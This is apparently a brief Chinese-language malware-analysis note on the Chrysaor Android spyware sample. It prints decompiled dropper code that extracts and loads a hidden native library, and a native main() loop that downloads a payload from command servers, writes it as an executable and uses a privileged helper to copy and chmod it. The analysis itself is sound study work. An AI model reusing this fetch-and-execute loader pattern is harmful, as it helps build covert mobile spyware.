android malware

来源：
https://github.com/fs0c131y/Android-Malwares/tree/c897dff1796c9cb7f19104e9ce3546d54cd55a45/Chrysaor/

3474625e63d0893fc8f83034e835472d95195254e1e4bdf99153b7c74eb44d86

用JEB看是这样一个结构
先看manifest发现用到了超多权限，然后入口是这里


反编译得到其Java代码

package com.network.android;import android.app.Activity;import android.os.Bundle;import java.io.ByteArrayOutputStream;import java.io.FileOutputStream;import java.io.IOException;import java.io.InputStream;import java.io.OutputStream;public class NetworkMain extends Activity {    public NetworkMain() {        super();    }    protected void onCreate(Bundle arg8) {        super.onCreate(arg8);        String v2 = "/data/data/com.network.android/libsgn.so";        try {            InputStream v1 = this.getResources().getAssets().open("libsgn.so");            byte[] v0 = new byte[v1.available()];            v1.read(v0);            ByteArrayOutputStream v3 = new ByteArrayOutputStream();            v3.write(v0);            v3.close();            v1.close();            FileOutputStream v4 = new FileOutputStream(v2);            v3.writeTo(((OutputStream)v4));            ((OutputStream)v4).close();            System.load(v2);        }        catch(Throwable v5) {        }        catch(Exception v5_1) {        }        catch(IOException v5_2) {        }        this.finish();    }}

发现并没有界面，直接将assets目录下的.so写入android的这个路径
/data/data/com.network.android/libsgn.so，然后用

Syste.load()

加载.so，然后就得转战IDA了。
然而并不会分析，只能看一堆strings

哦对了可以看一下JNI_onLoad()

发现它调用了fork()然后main()!
看到main的代码很牛啊，然而很多不懂的函数

int __cdecl __noreturn main(int argc, const char **argv, const char **envp){  void *v3; // r0@1  int v4; // r5@2  int v5; // r7@6  void *v6; // r5@7  char *v7; // r0@12  const char *v8; // r2@12  const char *v9; // r3@12  char *v10; // [sp+0h] [bp-4A0h]@0  char *v11; // [sp+4h] [bp-49Ch]@0  int v12; // [sp+Ch] [bp-494h]@7  char *v13; // [sp+10h] [bp-490h]@7  int v14; // [sp+1Ch] [bp-484h]@1  int v15; // [sp+20h] [bp-480h]@1  void *ptr; // [sp+24h] [bp-47Ch]@1  int v17; // [sp+28h] [bp-478h]@7  char v18; // [sp+2Ch] [bp-474h]@1  char v19; // [sp+3Ch] [bp-464h]@1  char v20; // [sp+60h] [bp-440h]@1  char s; // [sp+84h] [bp-41Ch]@1  int v22; // [sp+484h] [bp-1Ch]@1  v14 = 0;  v15 = 0;  v22 = _stack_chk_guard;  ptr = 0;  memset(&s, 0, 0x400u);  memset(&v19, 0, 0x21u);  memset(&v18, 0, 0xDu);  v3 = memset(&v20, 0, 0x21u);  handle_signals(v3);  g_sleep_time_in_seconds = 30;  sleep(0x1Eu);  geteuid();  while ( 1 )  {    v4 = 0;    if ( socket_connect(&v14, SERVERS, unk_600C) == 1 )    {      get_random_hexlified_md5(&v19);      get_mac_address(&v18);      get_hexlified_md5(&v18, &v20, 12);      if ( http_send_request_with_get(&v20, &v19, SERVERS, v14) == 1 && http_receive_payload(v14, &ptr, &v15) == 1 )      {        socket_disconnect(&v14);        if ( socket_connect(&v14, SERVERS, unk_600C) == 1 )        {          v5 = v15;          v4 = 1;          if ( v15 > 0 )          {            v12 = v14;            v6 = ptr;            v13 = SERVERS;            v17 = 0;            if ( file_exists("/system/csk", &v17) != 1 )              goto LABEL_17;            if ( v17 )            {              if ( write_buffer_as_executable(v6, v5, "/data/data/com.network.android/.coldboot_init") != 1                || system("/system/csk \"cat /data/data/com.network.android/.coldboot_init > /mnt/obb/.coldboot_init\"") == -1                || system("/system/csk \"chmod 711 /mnt/obb/.coldboot_init\"") == -1 )              {LABEL_17:                v4 = 0;                goto LABEL_18;              }              unlink("/data/data/com.network.android/.coldboot_init");              v7 = &s;              v8 = "%s";              v9 = "/mnt/obb/.coldboot_init";            }            else            {              if ( write_buffer_as_executable(v6, v5, "/data/data/com.network.android/.coldboot_init") != 1 )                goto LABEL_17;              v7 = &s;              v8 = "%s";              v9 = "/data/data/com.network.android/.coldboot_init";            }            if ( snprintf(v7, 0x3FFu, v8, v9, v10, v11) <= 0 )              goto LABEL_17;            v10 = &v19;            v11 = v13;            v4 = sub_1CF4(v12, &s, v17, &v20);            if ( v4 != 1 )              goto LABEL_17;          }        }      }    }LABEL_18:    if ( ptr )    {      free(ptr);      ptr = 0;    }    socket_disconnect(&v14);    if ( v4 == 1 )      pthread_exit(0);    sleep(g_sleep_time_in_seconds);  }}